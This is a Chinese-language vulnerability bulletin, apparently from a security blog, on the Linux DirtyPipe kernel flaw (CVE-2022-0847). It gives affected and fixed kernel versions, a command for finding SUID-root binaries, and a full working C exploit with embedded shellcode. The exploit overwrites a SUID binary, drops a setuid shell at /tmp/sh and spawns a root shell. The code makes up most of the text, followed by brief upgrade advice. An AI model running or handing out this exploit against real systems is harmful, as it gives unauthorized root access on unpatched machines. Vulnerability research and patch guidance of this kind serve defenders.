【漏洞速递 | CVE-2022-0847 | 附POC】Linux DirtyPipe权限提升漏洞

admin 2022年3月9日16:04:17评论128 views字数 6026阅读20分5秒阅读模式

0x01 前言

    攻击者通过利用CVE-2022-0847-DirtyPipe漏洞,可覆盖重写任意可读文件中的数据,从而可将普通权限的用户提升到root权限。

0x02 漏洞影响

影响版本

5.8 <= Linux kernel < 5.16.11 / 5.15.25 / 5.10.102

安全版本

该漏洞已在Linux 5.16.11、5.15.25 和 5.10.102 中修复。

0x03 漏洞复现

先找一个具有SUID权限的可执行文件,进行提权

find / -user root -perm /4000 2>/dev/null

【漏洞速递 | CVE-2022-0847 | 附POC】Linux DirtyPipe权限提升漏洞

漏洞PoC:

// dirtypipez.c
#define _GNU_SOURCE#include <unistd.h>#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/stat.h>#include <sys/user.h>#include <stdint.h>
#ifndef PAGE_SIZE#define PAGE_SIZE 4096#endif
// small (linux x86_64) ELF file matroshka doll that does;// fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);// write(fd, elfcode, elfcode_len)// chmod("/tmp/sh", 04755)// close(fd);// exit(0);//// the dropped ELF simply does:// setuid(0);// setgid(0);// execve("/bin/sh", ["/bin/sh", NULL], [NULL]);unsigned char elfcode[] = { /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2, 0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d, 0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00};
/** * Create a pipe where all "bufs" on the pipe_inode_info ring have the * PIPE_BUF_FLAG_CAN_MERGE flag set. */static void prepare_pipe(int p[2]){ if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have the PIPE_BUF_FLAG_CAN_MERGE flag */ for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; write(p[1], buffer, n); r -= n; }
/* drain the pipe, freeing all pipe_buffer instances (but leaving the flags initialized) */ for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; read(p[0], buffer, n); r -= n; }
/* the pipe is now empty, and if somebody adds a new pipe_buffer without initializing its "flags", the buffer will be mergeable */}
int hax(char *filename, long offset, uint8_t *data, size_t len) { /* open the input file and validate the specified offset */ const int fd = open(filename, O_RDONLY); // yes, read-only! :-) if (fd < 0) { perror("open failed"); return -1; }
struct stat st; if (fstat(fd, &st)) { perror("stat failed"); return -1; }
/* create the pipe with all flags initialized with PIPE_BUF_FLAG_CAN_MERGE */ int p[2]; prepare_pipe(p);
/* splice one byte from before the specified offset into the pipe; this will add a reference to the page cache, but since copy_page_to_iter_pipe() does not initialize the "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */ --offset; ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); if (nbytes < 0) { perror("splice failed"); return -1; } if (nbytes == 0) { fprintf(stderr, "short splicen"); return -1; }
/* the following write will not create a new pipe_buffer, but will instead write into the page cache, because of the PIPE_BUF_FLAG_CAN_MERGE flag */ nbytes = write(p[1], data, len); if (nbytes < 0) { perror("write failed"); return -1; } if ((size_t)nbytes < len) { fprintf(stderr, "short writen"); return -1; }
close(fd);
return 0;}
int main(int argc, char **argv) { if (argc != 2) { fprintf(stderr, "Usage: %s SUIDn", argv[0]); return EXIT_FAILURE; }
char *path = argv[1]; uint8_t *data = elfcode;
int fd = open(path, O_RDONLY); uint8_t *orig_bytes = malloc(sizeof(elfcode)); lseek(fd, 1, SEEK_SET); read(fd, orig_bytes, sizeof(elfcode)); close(fd);
printf("[+] hijacking suid binary..n"); if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) { printf("[~] failedn"); return EXIT_FAILURE; }
printf("[+] dropping suid shell..n"); system(path);
printf("[+] restoring suid binary..n"); if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) { printf("[~] failedn"); return EXIT_FAILURE; }
printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))n"); system("/tmp/sh");
return EXIT_SUCCESS;}

0x04 修复建议

升级linux内核到安全版本:

Linux 内核 >= 5.16.11Linux 内核 >= 5.15.25Linux 内核 >= 5.10.102

0x05 参考链接

https://mp.weixin.qq.com/s?__biz=MzI1NTM4ODIxMw==&tempkey=MTE1NV9PVis1NU85cFZZQXVFYmZ1WTVkUlpsVGVvTGwwbndZX0lHUjM2dklaaXpieTFFeHlxblJkZkpzZmpSanRZRk1way1RRldoTkJlT1pNSlo2UmkwNzMzTVg2YUpvVjZSLTY4N0RKWGhPNUtSVGx2cE5rS2dxN1BXc1BtR2hpS2JwZFZMOFZNa0VveVdKMnYxUHlNN0xGS3lBd0hNUGRpRTFPRWc5aDRBfn4%3D&chksm=6a341e415d4397575012b4578d63c643957352ee896b255943cb5f52a6471389907b129d6b26#rdhttps://mp.weixin.qq.com/s/oMe3CbXpgfncq1qzXsHnHg

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  • 本文由 发表于 2022年3月9日16:04:17
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